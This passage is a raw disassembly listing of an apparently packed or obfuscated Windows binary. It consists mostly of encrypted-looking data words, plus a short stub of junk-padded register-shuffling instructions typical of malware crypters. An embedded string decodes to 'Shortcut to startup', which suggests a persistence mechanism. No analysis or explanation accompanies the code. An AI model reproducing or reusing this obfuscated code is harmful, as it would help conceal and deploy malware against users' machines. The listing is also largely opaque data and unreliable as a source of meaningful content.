90FCB21Ah, 4014C70Bh, 2A8633BAh, 685CEE74h dd 0DB175667h, 75E6E043h, 0B6049EC0h, 175666BEh, 1E690A4Ch dd 0F9852586h, 403845B7h, 4C340E3Fh, 0A3h, 4EED6D15h, 0CA6BE8E2h dd 0BD736966h, 5E329E3Dh, 4E4DBFFDh, 0C13B6F0Ch, 104EE291h dd 54F89DDEh, 5C9D9B38h, 67473D8Fh, 22BA1756h, 638A104Eh dd 8B20DE59h, 8B61170Ah, 0FE1756C4h, 6F65C566h, 0B8E64AEDh dd 56C4320Ah, 171D8517h, 39913DE0h, 0ACD00577h, 91AB1BF2h dd 4111B922h, 2934A0E2h, 340E874Fh, 5AF77AB4h, 79A0F9h dd 6DF90000h, 0E8E24EEDh, 0F95CB6Ch, 95E392C1h, 1756669Fh dd 66B3893Bh, 9E061756h, 0E20A30E9h, 0DEB22CF7h, 95B111B2h dd 33E215DBh, 15A2D290h, 702150E5h, 6D11481Ch, 80ED0AEAh dd 194EF1C4h, 0D8AFD975h, 5617567Dh, 0FDD07C21h, 959FE53Ch dd 0EB6F65D6h, 9EC0E448h, 3F7D4F6Eh, 27549ACDh, 9C30E110h dd 1D309CF0h, 0E60C254Dh, 45E68AEAh, 0EA67B0Dh, 18B34h dd 6DD20000h, 0E9E34FEEh, 1319B564h, 98923EE1h, 609A556h dd 0EDBDE00Ch, 599A2153h, 1813FAA4h, 5B95A35Dh, 3FC69E3Dh dd 0FF4D13EAh, 12BCD5F8h, 757FD34Bh, 0FF055100h, 615BE976h dd 0D4116CD4h, 0D28C204Ch, 9E3DDE1Ch, 6CD416E4h, 0FC683611h dd 1BA936BFh, 116CD421h, 0D4350FBDh, 1088116Ch, 0C793FF67h dd 0B519B83Dh, 379B36BFh, 0C70FC19Fh, 87F5B714h, 481CBD30h dd 24A60CFCh, 152782Eh, 6E210000h, 0AE1C421Bh, 12BC7439h dd 13C032CCh, 94D9D37Fh, 2752BBE5h, 78EEAED5h, 8F752D8Eh dd 0D07AB46h, 8F8529C8h, 2007E94Bh, 0A82F00E2h, 0EF6268C4h dd 6D01B224h, 0BB296BC1h, 856C329Ah, 0BDCAD4E7h, 18BB3365h dd 0EAB4D8B4h, 6C3B6458h, 0EC4FD711h, 0F4793EAEh, 56BF1145h dd 0F9B44D05h, 6A228149h, 2E23499Eh, 60EEh, 276EB700h dd 0FAA2104Eh, 0CD175666h, 0B58FF955h, 75175665h, 0F1FB5706h dd 9748B481h, 973B573Bh, 5E7FEDB3h, 0E768A6F4h, 0FCF69A36h dd 387AD97Ah, 0ADC9CCCCh, 0AA182080h, 1755DFD2h, 4C90BD25h dd 658344Fh, 5601F0B4h, 0B83DC317h, 0B5D9B519h, 67D54FE1h dd 1756018Dh, 6DB78E0h, 88h, 421B6E5Fh, 4034861Ch, 0B3175667h dd 68DA882Bh, 12BC461Bh, 101AB62Eh, 92683CDDh, 6412BE5Bh dd 116C4459h, 1AB66595h, 903CDD10h, 0D7067638h, 2C3FADF3h dd 0BA89DC5h, 0D43914C7h, 0DBDD7E58h, 0A3528192h, 457891CFh dd 83B3CCA6h, 5DA4FC5Fh, 37E2174Ch, 88CB055Bh, 1F1579D5h dd 0CE9C3FDAh, 0CEEE317Ch, 3498000Ch, 0FE7CB73Eh, 0B09DF15Dh dd 8DB08F49h, 0F559353Bh, 0D1E91BA5h, 11A3FDC8h, 6DF75C4h dd 267F2BB3h, 1C421B6Eh, 0B9137FAEh, 7AD64E12h, 85CFD70h dd 72DE7BF2h, 93F1DE04h, 0ADDFD558h, 938B67EEh, 7CFA3AB4h dd 3AA0FE92h, 9183B488h, 3C9F07C7h, 0BA579E64h, 3CDD1C16h dd 0E7EC090h, 0CB954489h, 8F23D205h, 0E21840E3h, 8829A86Bh dd 88244824h, 359h, 0A5080000h, 9834EB6Dh, 12BE5B92h, 973BDC18h dd 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h dd 822ECF00h, 1B2368E9h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov esi, 0AE8163Ch shr esi, 5 push edx mov edx, 23D654B0h add edx, 6E4B1177h sub edx, 8C6930CEh xor esi, edx pop edx push esp mov edx, [esp] add esp, 4 push 71CFh mov [esp], esi pop dword ptr [edx+8] mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- dw 0B6A6h dd 3571D8FAh, 0EF7A88B8h, 0FFC50305h, 5DBB02E0h, 0C61DE23Fh dd 849A0535h, 13466E27h, 0FDF03314h, 0D59D6F09h, 6DE4C276h dd 3058207Dh, 3031C851h, 68121001h, 74BB50C2h, 74B30025h dd 302E0625h, 60720101h, 6886C9C2h, 332325E9h, 0BC54A74Bh dd 66327AD9h, 30320BE9h, 0F36C2401h, 14468B5Fh, 14768005h dd 30329605h, 0F3640601h, 0D91A54B0h, 30321015h, 953FF66Eh dd 9D5F774Ch, 0BB9AD451h, 0B06B6556h, 8FEFB8F5h, 0B43D44A9h dd 303222B1h, 0D862106Bh, 30320802h, 68F15C21h, 34164688h dd 34164580h, 30328014h, 64F11041h, 39B7A99Eh, 0B337FA0Ch dd 0DA03B5BCh, 0B43D0404h, 30320250h, 0D860016Bh, 30328002h dd 6AF11A21h, 34167488h, 34165480h, 3032081Dh, 49F15643h dd 5918F3A4h, 6CC92225h, 3034060Eh, 0BD1B4001h, 35D82F70h dd 30305BE8h, 65326201h, 303207E9h, 0F36F2201h, 145E885Ch dd 14760105h, 30325405h, 0F3676501h, 6E614019h, 31160C88h dd 0DA355D84h, 7C330D04h, 3058FF25h, 30316850h, 69124001h dd 7CBB79C2h, 74B31425h, 302F0C25h, 61730401h, 1E7347C2h dd 0E8F82D5Eh, 0B918FF60h, 0DA2FE594h, 8DB97804h, 35D83DF4h dd 5A1EC882h, 33DA5301h, 10320201h, 0B96DC25Eh, 0B136A47Dh dd 28366445h, 77322001h, 0F359D356h, 56E7FEF3h, 7BCBE780h dd 2EBB9F8Ah, 873D04EBh, 5A3A0BF6h, 33DA1601h, 10322001h dd 0B96CD35Fh, 0B1362C75h, 29362045h, 76320201h, 774CC257h dd 93C2D226h, 2687F58Ah, 8DB925EBh, 35D803DCh, 0CC7A8367h dd 0D862046Bh, 30320202h, 68F15921h, 3416C488h, 34160480h dd 30322014h, 12F14041h, 9B36E9Bh, 0B43DFB37h, 303202FDh dd 1B47DBEh, 39F30338h, 0D861406Bh, 30322002h, 6BF14B21h dd 34165488h, 34164080h, 30320214h, 0BFF15242h, 0D90B0027h dd 3100C50Eh, 0ADBB2001h, 35D83AC8h, 5A33498Ah, 33DA5501h dd 10320201h, 0B96BC258h, 0B136A44Dh, 29366445h, 71322001h dd 2858D350h, 8EFA1F36h, 23E79128h, 8E5407EBh, 0F831A4BDh dd 0D867806Bh, 30324002h, 6DF17D21h, 34167C88h, 34164C80h dd 30320414h, 48F15744h, 303DE812h, 0E1798001h, 0DCAEBE1Dh dd 60EF3B8Ah, 0BFE24367h, 55B7012Ch, 0B337EE07h, 305807C0h dd 3031E956h, 6F128001h, 4CBB1FC2h, 74B32425h, 30281425h dd 67750801h, 0F71526C2h, 79357D35h, 3B3FBC8Ah, 9B385EBh dd 0BB710B91h, 30BCA50Eh, 30581001h, 3031E054h, 6D120401h dd 5CBB5FC2h, 74B30525h, 302E8425h, 65774001h, 0D66FA0C2h dd 0B9EC7775h, 0F7B3FC84h, 1CCEDBCFh, 7C138F8Ch, 305804EBh dd 30316852h, 6B124001h, 6CBB7BC2h, 74B31425h, 30260C25h dd 63710401h, 88C768C2h, 30320102h, 1E831D28h, 0D1CD45EBh dd 0D862206Bh, 30321002h, 68F15021h, 34164088h, 34164680h dd 3032011Bh, 0D3F1D041h, 394954B9h, 3ADABDEFh, 0B4321001h dd 0D2E76FBh, 7FD462BCh, 6FC089CBh, 62326B60h, 303283E9h dd 0F3686001h, 1466A95Bh, 14769105h, 30321D05h, 0F3604601h dd 3F523F4Fh, 30320783h, 0A9B7B301h, 0B937AA24h, 0DA2C0994h dd 8DB97104h, 35D80460h, 3DEF8988h, 8DBF07EBh, 35DD7A39h dd 4E9B0D8Ch, 448A45EEh, 333B282h, 0DA3CF584h, 0F1FD2304h dd 305820E8h, 3031C851h, 68121001h, 74BB50C2h, 74B30025h dd 302E0625h, 0E9830101h, 8BA4F305h, 10E9C0h, 0BD1B0000h dd 597F66A4h, 0EC11C499h, 0FE7193AEh, 850F959Fh, 6, 331D958Bh dd 0C38B05EAh, 7FB98D8Dh, 6A05EFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 3D5D9C3h, 0E901416Eh dd 8D016093h, 5EA0B25h, 181D9D89h, 8B6105EAh, 0EA073585h dd 0DD8D8905h, 0F05EA0Ah, 850FC7BFh, 8, 559D8960h, 6105EA25h dd 0ACD85C7h, 651005EAh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0EA1979C3h, 140D8589h dd 8B6605EAh, 0F585C7C2h, 5EA25h, 89000000h, 0EA11599Dh dd 95BD2305h, 0FF05EA32h, 0EA003DB5h, 0B1B86605h, 1995FF2Ch dd 6005EA2Ah, 810Fh, 0E9500000h, 0Dh, 0FEC5A0ABh, 230F5D8Bh dd 0CA325DF4h, 6A615BEEh, 1595FF00h, 8B05EA10h, 0BC4EEBC0h dd 2415629Bh, 32BB000Fh, 0E710B528h, 6941065Bh, 8D24101h dd 0E3BE3229h, 1071CDA0h, 6DCC12E3h, 0C78BB880h, 0C1F71C98h dd 76B120B9h, 243EFA44h, 0D3ADAE3Eh, 0CF210316h, 57B86C0Dh dd 0DEEF686Bh, 0E5033A81h, 61F1EA4Bh, 54B67856h, 559D8D40h dd 0B805EA11h, 39h, 1DCD8589h, 0E805EAh, 58000000h, 0D05h dd 0E9038900h, 39h, 0Eh dup(77E60000h), 378D8DFFh, 6A05EF81h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 5839C352h, 2F90A4B7h, 80988340h, 8D8998D3h dd 5EA0ADDh, 0C7D1B70Fh, 0EA0ACD85h, 64B005h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 6EB95786h, 0BF0F6C5Fh, 0F585C7C1h, 5EA25h, 0FC000000h dd 1BC9B5FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 289608C3h, 0B8799179h, 8B82975Ah dd 95FFF8F1h, 5EA2A19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0EAC35747h, 0B97B771h, 0EA302985h, 0FF006A05h dd 0EA101595h, 0EBC08B05h, 93215F38h, 0AEC55032h, 62D77B8Ah dd 963AB79h, 0BD395706h, 0D1A5190Ah, 5C994116h, 523B8FCEh dd 0EF5234BCh, 42515BF8h, 0E395A8B0h, 0B9534581h, 5D203572h dd 0EB740A46h, 0B0E945h, 66600000h, 0C2F6DA8Ch, 0C850F04h dd 3B000000h, 0EA1D4585h, 36840F05h, 3B000000h, 0EA1C8D85h dd 2A840F05h, 3B000000h, 0EA2B1985h, 1E840F05h, 3B000000h dd 0EA13E185h, 12840F05h, 83000000h, 0EA028DBDh, 840F0105h dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh dd 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0EA4C219Dh dd 5B805h, 0E3FF0000h, 0D00BC361h, 6E8h, 0FA3C9900h, 0FBA58C6h dd 0B758DBBFh, 12C0814Ch, 0F00005Ah, 7BAD8B7h, 8160AD8Bh dd 528B55C2h, 8930FF9Fh, 0EA00B9B5h, 0E9805F05h, 0C6EF8114h dd 8B077D08h, 0EA18098Dh, 23EF8105h, 0E90D2AE8h, 0Bh, 214F2318h dd 0D3BC7F63h, 81A67417h, 649F5DF7h, 0C5B58918h, 8905EA13h dd 0CA8B6638h, 8B04E883h, 850F4ADEh, 26h, 0FE8h, 7D1FED00h dd 0F8677EE7h, 79A88463h, 4BCF4F11h, 31399D89h, 0E95E05EAh dd 1Bh, 0E04E3418h, 0BD894CB6h, 5EA0EA5h, 0FFFF84E9h, 0BEB0A8FFh dd 8F01EF51h, 0EB76E5D4h, 6F68536Ch, 75637472h, 6F742074h dd 61747320h, 70757472h, 14h dup(0) dd 8D582C00h, 10Eh, 0FD6E900h, 0CF680000h, 0E905EF84h dd 0FFFBD4E4h, 0EF85CA68h, 0D4DAE905h, 7468FFFBh, 0E905EF87h dd 0FFFBD4D0h, 0EF87B368h, 0D4C6E905h, 9268FFFBh, 0E905EF88h dd 0FFFBD4BCh, 0EF895068h, 0D4B2E905h, 0CF68FFFBh, 0E905EF8Dh dd 0FFFBD4A8h, 0EF90BD68h, 0D49EE905h, 0D768FFFBh, 0E905EF91h dd 0FFFBD494h, 57BCD4A7h, 0D2395138h, 5FB4CCBDh, 0D9324A30h dd 678CC4B6h, 0AD9F1D30h, 2C117E95h, 0AC90FF14h, 28107F94h dd 635AFB10h, 250C1A06h, 736CCEE8h, 0F21C3404h, 8D93F6CFh dd 53E23589h, 0A494F79Bh, 0E9A4876Ch, 881BDFA6h, 953FE97Eh dd 1A96AF16h, 34BA22Ch, 0D8E47187h, 305C30C1h, 57996C09h dd 0EC4FE820h, 10DE31Bh, 6E533049h, 0F5943A56h, 0E8205727h dd 6E80B886h, 280B4309h, 0CFC42A62h, 762719DCh, 0EDFFA651h dd 83385199h, 30h, 2675E60h, 0E235891Eh, 629A61C2h, 840092Ah dd 454A4B64h, 0B7B8593Ch, 60A8E81Fh, 0B83DEF8Eh, 0C9EEE81Fh dd 0FED5170Eh, 0BE6B3850h, 88000000h, 482D3404h, 0E23588E8h dd 967830F8h, 21CF07F1h, 0B05E7646h, 44AFE7D7h, 358DCE2Dh dd 255D2DE2h, 0A1D9A1CEh, 0BDD5BBD8h, 9D335F53h, 0C1B8F7B6h dd 1F9BF1A4h, 0D43FF7E8h, 3E8825E1h, 560D3B31h, 0A14F8775h dd 0AFEEC1ADh, 4F6A082Ch, 9FD7452Eh, 0BE8E83E6h, 9A52EE0Ch dd 9EB680E3h, 18301A75h, 8C7B8821h, 736FC1CDh, 0DAAh, 23C800CBh dd 0AE457D4Ch, 2BC0F8C1h, 0B55E7644h, 33D8F0DAh, 1CB4964h dd 804D22C9h, 0CCA348h, 7C4C23C8h, 370EAF44h, 250CCE52h dd 2F3092E8h, 1E02675Eh, 0C2E23589h, 275F290Ah, 0CAA9C5C9h dd 4C23C800h, 0F93D447Ch, 9A9420BDh, 0AA1CDB2h, 8E4D4815h dd 84595EF2h, 3E022150h, 0ACE4E806h, 3851B0D5h, 0DF17E820h dd 0B8C80C31h, 21009F05h, 80ACC9A5h, 0DFE82034h, 5334DAF2h dd 0C2B9576Fh, 0C5946691h, 9E2EF7E2h, 5238517Ah, 0AEh dd 0CF45F9Bh, 0F8645D5Dh, 34048794h, 0A395F21Ch, 8C71126Bh dd 0F9172F1Fh, 7FD1BDF5h, 358DDD1Eh, 344C3CE2h, 7CC8B0DFh dd 804592Dh, 25CB832Bh, 79008F0Eh, 204F891Ch, 457EBAE8h dd 76B6EC9Ch, 29E13D51h, 0EBA4E1C2h, 0D909F792h, 17DFEE0Ch dd 33B0D6Eh, 1C34197Ah, 3992FEF2h, 152C6456h, 0CD8C604Eh dd 0AF39258Bh, 0CE00000Ch, 4728C3FBh, 0C4AB4078h, 5F30DBF3h dd 0DDB25971h, 6F38D3EBh, 0DEF6C042h, 5D755A35h, 0DDF5D9B6h dd 59715936h, 4F2A13B2h, 0E8250DE1h, 43A2587h, 9EF11A32h dd 0D33E5AAEh, 0EA77BF15h, 81C901C9h, 3404756Ah, 0A595F21Ch dd 0E8A5866Dh, 84E7DEA7h, 89EC80B8h, 0E81FB398h, 536E8048h dd 0DF314930h, 52DABFD3h, 0DBE81FB3h, 0A02CF9FCh, 503850F9h dd 16h, 9127FB3h, 65060000h, 0AC917F97h, 358967C9h, 0F9B179E2h dd 4D488695h, 890A1673h, 16DEE235h, 9742275Eh, 0ACE81FACh dd 0CDB4568h, 7053BB38h, 0C11D7189h, 0B880E709h, 4620D44Ch dd 1FB0FD23h, 0AF2BE3E8h, 720B488Ah, 1FA40917h, 5F17DFE8h dd 0DBF3DBB4h, 0C6F25435h, 36254F63h, 9AB29AC3h, 162E1E71h dd 0C79499F8h, 0A6534F63h, 0F3FC5B9Fh, 0BAB60F55h, 63AD919Fh dd 0CDE34F4Fh, 9BD1FCAEh, 20ECCF07h, 28D384E8h, 4C354D3Dh dd 63101075h, 18D04F64h, 0C8B0DF74h, 0EA3F5EB0h, 414F6462h dd 465A887Ch, 7A061FB9h, 0D1BBDC32h, 980F57B9h, 0E0776B5Dh dd 3A068F5h, 0CD53363Fh, 934F6459h, 0F1FD135Bh, 9BD3EBD2h dd 172F1F70h, 0DCD3D2F9h, 6F99C0A5h, 874F554Eh, 0C8286Ch dd 4A730A85h, 45296129h, 38894120h, 96EF275Bh, 23CD05F5h dd 0A237432Fh, 39496A6Dh, 0F38A0580h, 3379F396h, 0D33DF53Fh dd 8BF2BDF8h, 0D2EAD1B2h, 1FF109F1h, 0B21A7F13h, 0B6452129h dd 9464077Eh, 2A08284Dh, 10D84521h, 0ECDCB358h, 0F50EDD4h dd 7A97678h, 0B051Bh, 4D857000h, 0CA02C9A6h, 457D4E21h dd 0C3FBC1AEh, 5D754728h, 4ECCE1B6h, 0C0AF447Ch, 4728C3FBh dd 0C7A8437Bh, 9534DFF7h, 1067C9ACh, 0DB79E825h, 1C3404C4h dd 63B06A25h, 5549E7D9h, 0AC6h, 678CC4B7h, 0E2094108h dd 6F84BC8Dh, 0E9023A00h, 779CB486h, 0BD8F0D20h, 3C016E85h dd 0BC80EF04h, 38006F84h, 734AEB00h, 25100A16h, 637CDEE8h dd 0F21C3404h, 806BA395h, 59549CC4h, 0B1EB2F56h, 689DA052h dd 0DEB924h, 88C09DC5h, 0DDE4DDE4h, 77481E19h, 6F4AA59Bh dd 0E2363FC1h, 1B3304A7h, 175A3F53h, 0C9E8205Ah, 8668A06Ah dd 63F6C28Ah, 0A9DDB37Eh, 0E29B1491h, 0BBD3B8DBh, 50355955h dd 0AFC7C239h, 88C08C2Fh, 5B226A66h, 2295C79Fh, 0C0AC5FE1h dd 4748456Eh, 5A37FA3Eh, 5AB4CCBDh, 9FD6D256h, 1D241D71h dd 0AADF4124h, 4981AFC7h, 5A7C4025h, 0A46CB5B5h, 0B6CEBEDDh dd 6F540BCFh, 0A8EBCDBDh, 658BC38Bh, 0C1AE0569h, 0AAE2AAF9h dd 39004844h, 5E3B448h, 0E7332F81h, 96000009h, 0EF806BA3h dd 6C03E820h, 0E788639Bh, 650AE119h, 0C7907B93h, 669E68EAh dd 0E51DE28Dh, 659D610Eh, 0E119E18Eh, 0F792AB0Ah, 0E8251129h dd 4829D3Fh, 163FD034h, 480B881h, 0E462B43h, 83BB87E0h dd 9CB499FAh, 62A4F72h, 0DAE235C6h, 9D365A12h, 35C68CF4h dd 0CAEEAFE2h, 0A0D8A506h, 0E40A424Eh, 0E0D9A0E8h, 35C69B85h dd 0B2494DE2h, 99E9E38Bh, 0B980ECA4h, 251E28DCh, 89F038E8h dd 482622EAh, 77F1F326h, 69ADD49Ch, 3DB6ED9Fh, 0EF4428BEh dd 40BB1EDAh, 15857216h, 1A321A79h, 0A0A993F4h, 25105BC5h dd 8DC50DE8h, 4F3D5E63h, 54385B37h, 2956053Ch, 3D93D374h dd 92921h, 29615400h, 0A6DEADC2h, 2159224Dh, 0BFD7A5CAh dd 39513B54h, 2AA885D2h, 0ACC32860h, 234CA7DFh, 0A3CC275Fh dd 0E948A3DBh, 126BB5D0h, 0DF7DE825h, 4F3D5EC0h, 50385B37h dd 70536B53h, 919D738Bh, 685037D9h, 0FA61BE50h, 7E9666FFh dd 0D02ABA95h, 0B1C63266h, 25000005h, 1E02675Eh, 0C2E23589h dd 4C49660Ah, 0A55F3A43h, 0BBE8250Bh, 56330A73h, 0E8250BCAh dd 33A569Eh, 3073593Ah, 0D3DF3149h, 1579759Bh, 0A54E8676h dd 20ED0986h, 976106E8h, 2B4E377Fh, 0E8250C05h, 0B55B13DBh dd 917897D4h, 38A38461h, 0C2BA5F6Dh, 3D11B1h, 48F20000h dd 5C39404Fh, 0E23588D4h, 0D3B25C94h, 29CEB8Dh, 0C4B4D79Eh dd 26E628Ch, 0E9FBA255h, 8752CE2Dh, 17h, 13188A4Eh, 60B7857Bh dd 1823AE4h, 0FC904CF5h, 28E7FEFh, 482C0000h, 5E3B424Dh dd 0E8250C0Eh, 95F41AD2h, 0E8250C88h, 26E9ECB7h, 0DD43261Fh dd 83E8250Bh, 0BC26E4Bh, 6EA6E825h, 0C81089EAh, 204C19D1h dd 78018E0Fh, 0B2FC2441h, 24ECE824h, 48147148h, 18EE1436h dd 4CFCE51Ch, 0FBB3D218h, 758D7F10h, 0F20AFC9Bh, 0D104171Ch dd 3701A294h, 89BC571Fh, 634BD5B0h, 0D51DEE14h, 0E6057F51h dd 523E6147h, 705F4C31h, 99FE1058h, 15729CB4h, 6205EB23h dd 0F08B659Dh, 94638A3h, 0B986DF1Ah, 33036A81h, 8AEE13F3h dd 33F78EC6h, 0C3CEF363h, 852E42ADh, 0B8DB22EAh, 8E92B7CFh dd 52EE13C7h, 0C8ABD29Ah, 2925CB03h, 660A420Ah, 4F48DFC8h dd 6AFD3940h, 0BA3EC3E5h, 0FE6A3CFh, 0B679F6Ch, 3B00A368h dd 0EC7F4B03h, 5A9EE71Fh, 2269470Ah, 0D693FF59h, 1CED674Eh dd 9D6D0AE4h, 0E40A420Eh, 914EA0E8h, 62FDCF0Ah, 0C10506F1h dd 5D2E2AC8h, 43C7CB25h, 0B7DBA52Ah dd 67175894h, 412E832h, 40B0000h, 0B8F41A32h, 7E2D1C98h dd 0D33D758Dh, 618FC7B4h, 592BAE39h, 9FA05BDCh, 9AF60EFCh dd 1CF70FF9h, 8718973h, 88CC5431h, 549CE235h, 1CE7D38h dd 0DAA3DBA2h, 358971BFh, 0F7BF77E2h, 974219F2h, 0BDC4FCCEh dd 14853D79h, 2945CC22h, 0C6FECE5Dh, 58E44928h, 306BE236h dd 9EFBC2C5h, 0E2365992h, 91F29E56h, 7B6B5DA9h, 0A1FD26C2h dd 0A16D02E9h, 7EBA8769h, 7DF7205Ch, 61046894h, 0E235DFBCh dd 9AC336B1h, 40759EB6h, 0BE85C23h, 0B37E4AD5h, 0D8BF5119h dd 3935DBF3h, 2C781D71h, 0E8E235CEh, 67113A8Bh, 0FF00F432h dd 0F93DFFFFh, 96F6175Fh, 0E1D71F6h, 0F71C3404h, 7698B098h dd 35890617h, 390035E2h, 3588D45Ch, 2C642BE2h, 431478B0h dd 0C5FDCD98h, 5F77412Eh, 8D794526h, 70FB6992h, 66450D9Bh dd 0A30D6199h, 0D5AE5A9Eh, 0E40DE185h, 0C8ACED88h, 3871B2A9h dd 0F4335DFCh, 46234177h, 0B2A9D0DAh, 620E468Eh, 9DBC235h dd 0A702DB18h, 6Ch, 8400D6Eh, 9586EAE6h, 3B424D48h, 88B96702h dd 67AFE235h, 0CF0B320Bh, 0C27CAF15h, 0ACC9A5B4h, 0E825D3C0h dd 0E78668A0h, 0E825D43Ah, 0E11C4E3h, 0DDB576CAh, 8774AB7Ah dd 486B074Fh, 3857837Ch, 2134h, 0EE02D700h, 4DE23593h dd 0ABA74981h, 0FD89BBE3h, 7FE8FFFFh, 10h, 35E9C206h, 6FB334A8h dd 917F1003h, 2C000002h, 39513D5Eh, 0D4B7DBD7h, 0B6D5ACE4h dd 525EB0C8h, 7F7903Eh, 281124CFh, 3588E34Dh, 344D85E2h dd 3588CF51h, 355991E2h, 6D149B1Ah, 1F9CFD08h, 7F1AE3E8h dd 0E81F9CB1h, 0D9377FB7h, 1F9D74B8h, 5B9EB9E8h, 3F573B58h dd 0F618301Ch, 37B596FAh, 0C93850E0h, 54h, 424D482Ah, 5E3B023Bh dd 0E23588D2h, 42275E96h, 0E23588DEh, 43264A82h, 0E81FB7BEh dd 151B7E47h, 0CBE81FB8h, 7BB36F03h, 629A6102h, 5BC1A00Eh dd 0B2E81FB8h, 3C5BB5CDh, 1ADA344Ch, 86F1AAA2h, 35863EFh dd 90B7E6D8h, 922CB865h, 96C43851h, 27000000h, 0F21C3404h dd 856BA395h, 0B0D31AE2h, 86AA8FC7h, 5AE23589h, 0B4FC14F9h dd 857512FCh, 2CCFA64Dh, 83E2358Eh, 5D6883BBh, 0D43A523Eh dd 0D0156914h, 733B5790h, 5175301Fh, 0B6BA546Ch, 266EA695h dd 0C8543A5Fh, 0DC14E822h, 0DCF4C6A5h, 566E5837h, 7671AA6Fh dd 716DC3D3h, 4AAh, 23C800CBh, 0AE457D4Ch, 2BC0F8C1h, 0B55E7644h dd 33D8F0DAh, 1CB4964h, 804D22C9h, 0CCA348h, 7C4C23C8h dd 370EAF44h, 2515CE52h, 2F3092E8h, 0F11A3204h, 7D96AE9Eh dd 1C340462h, 1F370665h, 3F91FDF1h, 0B3587058h, 0EF561590h dd 32625A03h, 9B9A3A31h, 672F398Eh, 2633562Fh, 3AE81FEAh dd 0B17D1CF2h, 8E81FE9h, 81E60840h, 0E719FB7h, 4BD0A255h dd 397425D0h, 0FF6A0F76h, 0E1EE09FEh, 3F945029h, 80CA663h dd 9FBC177Bh, 8DE8911Eh, 0F3F9DF77h, 0E820EF8Ch, 60986106h dd 3B984428h, 2E183B53h, 44275E16h, 0F473073h, 82BA86E1h dd 6028606Ch, 0E287BE8Bh, 0F3F9DF3Eh, 72BEDB22h, 76F3F9DFh dd 0FF9AF6BEh, 0F3F9DF37h, 7992AA96h, 596Dh, 1A023E00h dd 3DE23589h, 88E70C83h, 546987BFh, 0CCF36590h, 0C6AA2D2Fh dd 35C87DA3h, 5C9FC4E2h, 3E5B625Bh, 0E235C7F2h, 151B3EF6h dd 0CBE235C8h, 3B0C6F03h, 19DDE803h, 0AB3F14D6h, 0BFD7A1A3h dd 79155D51h, 671E361Ah, 771B3304h, 9175B8D9h, 0F176E235h dd 5B735F06h, 3804AFB0h, 311A7900h, 3E563A19h, 5C1FC52h dd 0BA1C058h, 0DE614A2Dh, 5E9E78FCh, 1075FD79h, 5E3FBBDCh dd 556D5132h, 0F29164BBh, 3977F30Bh, 2B93E0E7h, 9245127Eh dd 24CF07CBh, 3658654Dh, 0EFD6AFE2h, 3658A68Ah, 5172BAE2h dd 0CDC12F67h, 9C4382A1h, 4FFD3267h, 1EFFFFFFh, 651C3404h dd 701C3406h, 88D1B9DEh, 21416A4Ch, 0D28255Dh, 0E2364023h dd 0AE450DC5h, 0F911F89Bh, 8FDFD717h, 957FFA4Ah, 1F9EB1DDh dd 798CE990h, 6FE82007h, 35F7BF6Bh, 0E9E50B43h, 5E77BB6Dh dd 33566F16h, 0E81FE9EDh, 0A648804Ch, 92FE36AAh, 0E9CF5D3Ch dd 155CE81Fh, 364F8776h, 1FE9CD53h, 375B93E8h, 76B27560h dd 335EECF3h, 9DBED2CAh, 3850EE4Fh, 49E1h, 4D480200h, 0B35E3B42h dd 50E81FB7h, 0D9374F33h, 67C9ACD5h, 79E81FB8h, 0F801DDB1h dd 1FB8939Dh, 0D59D55E8h, 0B7D25A3Bh, 125BE81Fh, 20458C71h dd 0E81FB800h, 436028E0h, 0A4A8467Eh, 415C9FC8h, 3850FE83h dd 0FD3Dh, 675EDE00h, 3E1B3304h, 0E23588F2h, 31523EF6h dd 0B8DF3149h, 0D3EBDDCEh, 0E026E29Bh, 31466B54h, 3805ABC7h dd 0B35D755Bh, 4445EB8Eh, 0D31BE236h, 0A494F79Bh, 15E5826Ch dd 7C7F16FDh, 0D3E23648h, 9987E2EBh, 4FE23648h, 0A1DDF04Bh dd 82CAA6BFh, 2D1421CAh, 0A9477F4Eh, 2EA080A5h, 8840E236h dd 9FB787E4h, 602F4C71h, 0A6CAC628h, 0FA830C89h, 0FB97AF99h dd 35DEA7C2h, 8682E820h, 0C8B6484Bh, 1CF7BF70h, 48317E3Fh dd 0CEA5B2Dh, 0E1AE0DEEh, 0FB98E1A9h, 7D12F911h, 574A738Bh dd 0F2CD8C4Fh, 1BC405Ch, 0CEB90000h, 4B325DB6h, 0C6B7D833h dd 440A658Eh, 0BE88E70Ch, 173A6D86h, 806BA395h, 1EA22EFh dd 816AA26Eh, 0DE61EEEh, 30F095ACh, 30E82519h, 32048D92h dd 3B00631Ah, 8DE1ED03h, 49814926h, 7F34F430h, 6AFD3A1Bh dd 3678210Fh, 470FC7E2h, 0D6B5802Bh, 323ED0E8h, 4D484D5Eh dd 72583B42h, 6A0F365Ah, 0E81FB7A7h, 1D351AB9h, 59B7FFF3h dd 1FB7F438h, 0DB1E39E8h, 50FF02C2h, 0DDBE38h, 45D0000h dd 0E8482D34h, 47E23588h, 0BFB35D75h, 4DA3EB23h, 0C628602Ah dd 79A7C2FBh, 6FE23589h, 4DAECBA7h, 0ACE2358Eh, 8D9D68DCh dd 96D3F3B4h, 3E3BD312h, 357DE11Ah, 0B473884Ch, 0EB8105A2h dd 0CAA6EE26h, 6D3E0E61h, 868A649Ch, 8A0B20CEh, 